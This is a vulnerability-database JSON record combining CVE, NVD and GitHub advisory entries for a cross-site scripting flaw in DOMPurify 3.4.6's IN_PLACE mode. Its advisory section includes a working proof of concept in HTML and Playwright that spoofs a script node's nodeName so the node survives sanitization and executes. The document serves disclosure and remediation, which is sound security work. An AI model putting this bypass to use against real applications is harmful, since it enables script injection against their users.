{"id":"GHSA-x4vx-rjvf-j5p4","revision":null,"records":[{"revision":"11ade0a603e34375a5a5af5070e47b6f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-65901","aliases":[],"title":"DOMPurify 3.4.6 Cross-Site Scripting via IN_PLACE nodeName","description":"DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable nodeName is clobbered to appear as allowed elements, causing scripts to execute when the sanitized tree is inserted into a live document.","state":0,"publishedAt":"2026-07-23T13:16:19.721+00:00","modifiedAt":"2026-07-23T13:39:31.433+00:00","affected":[{"ecosystem":"Vendor product","name":"DOMPurify","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cure53\",\n                    \"product\": \"DOMPurify\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/dompurify\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThanOrEqual\": \"3.4.6\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","score":5.1,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4","https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-65901","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-65901","identifiers":["CVE-2026-65901"]},"retained":false,"historicalAffected":[]},{"revision":"846b1ab7a0b34286837bf7d218fe3578","observedAt":"2026-10-25T15:18:45.851+00:00","statement":{"source":"nvd","id":"CVE-2026-65901","aliases":[],"title":"DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable…","description":"DOMPurify through 3.4.6 contains a cross-site scripting vulnerability in IN_PLACE mode that trusts attacker-controlled nodeName on live non-form nodes. Attackers can supply hostile live DOM objects with real script children whose observable nodeName is clobbered to appear as allowed elements, causing scripts to execute when the sanitized tree is inserted into a live document.","state":0,"publishedAt":"2026-07-23T14:18:05+00:00","modifiedAt":"2026-10-24T13:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":5.1,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4","https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65901","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-79"],"productCriteria":["cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-23T14:18:05.000","lastModified":"2026-10-24T13:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-65901","identifiers":["CVE-2026-65901"]},"retained":false,"historicalAffected":[]},{"revision":"62f5352f998a4da68e64a780dd6919d6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-x4vx-rjvf-j5p4","aliases":["CVE-2026-65901"],"title":"DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects","description":"## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `<script>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n  - same-origin `iframe` → live node passed by reference\n  - same-origin `window.open()` popup → live node passed by reference\n  - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n  ...\n  if (_isClobbered(currentNode)) {\n    _forceRemove(currentNode);\n    return true;\n  }\n\n  const tagName = transformCaseFunc(currentNode.nodeName);\n  ...\n  if (\n    FORBID_TAGS[tagName] ||\n    (!(...) && !ALLOWED_TAGS[tagName])\n  ) {\n    ...\n    _forceRemove(currentNode);\n    return true;\n  }\n  ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] — `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  const realTagName = getNodeName ? getNodeName(element) : null;\n  if (typeof realTagName !== 'string') {\n    return false;\n  }\n\n  if (transformCaseFunc(realTagName) !== 'form') {\n    return false;\n  }\n\n  return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `<script>`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `<script>` child as an allowed element\n- the real `<script>` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n<!doctype html>\n<html><body>\n<script src=\"dist/purify.js\"></script>\n<script>\n  const foreign = window.open('about:blank', '_blank', 'noopener=no');\n\n  const host = foreign.document.createElement('div');\n  const script = foreign.document.createElement('script');\n  script.textContent = 'window.__pwned = 1';\n  Object.defineProperty(script, 'nodeName', {\n    value: 'DIV',\n    configurable: true,\n  });\n  host.appendChild(script);\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  console.log('output:', host.outerHTML);\n  // <div><script>window.__pwned = 1</script></div>\n\n  window.__pwned = 0;\n  document.body.appendChild(host);\n  console.log('handler fired:', window.__pwned === 1); // true\n</script>\n</body></html>\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.goto('about:blank');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(async () => {\n    window.__hits = [];\n\n    const foreign = window.open('about:blank', '_blank', 'noopener=no');\n    const host = foreign.document.createElement('div');\n    const script = foreign.document.createElement('script');\n    script.textContent = 'top.__hits.push(\"script-fired\")';\n    Object.defineProperty(script, 'nodeName', {\n      value: 'DIV',\n      configurable: true,\n    });\n    host.appendChild(script);\n\n    DOMPurify.sanitize(host, { IN_PLACE: true });\n    document.body.appendChild(host);\n\n    return {\n      version: DOMPurify.version,\n      output: host.outerHTML,\n      fired: window.__hits.includes('script-fired'),\n    };\n  });\n\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n  version: '3.4.6',\n  output: '<div><script>top.__hits.push(\"script-fired\")</script></div>',\n  fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `<script>` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `<script>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.","state":0,"publishedAt":"2026-06-15T20:00:02+00:00","modifiedAt":"2026-09-10T03:50:51.192721+00:00","affected":[{"ecosystem":"npm","name":"dompurify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"3.4.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4","https://github.com/cure53/DOMPurify"],"sourceUrl":"https://github.com/advisories/GHSA-x4vx-rjvf-j5p4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-x4vx-rjvf-j5p4","identifiers":["GHSA-x4vx-rjvf-j5p4","CVE-2026-65901"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T05:26:56.6538334+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T05:26:56.6538334+00:00","lastSuccessAt":"2026-10-26T05:26:56.7986454+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.7986482+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-bc703d32c448acb7291b43dd467a47b987ad86f105a430a0e30b03cf6e038792","complete":true,"records":414069,"lastAttemptAt":"2026-10-26T05:25:21.6088408+00:00","lastSuccessAt":"2026-10-26T05:25:21.5943862+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:25:21.6088408+00:00","snapshotPublishedAt":"2026-10-26T04:31:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T05:26:59.285199+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T05:26:56.6538334+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T05:26:56.6538334+00:00","lastSuccessAt":"2026-10-26T05:26:56.7998442+00:00","error":null,"lastVerifiedAt":"2026-10-26T05:26:56.799845+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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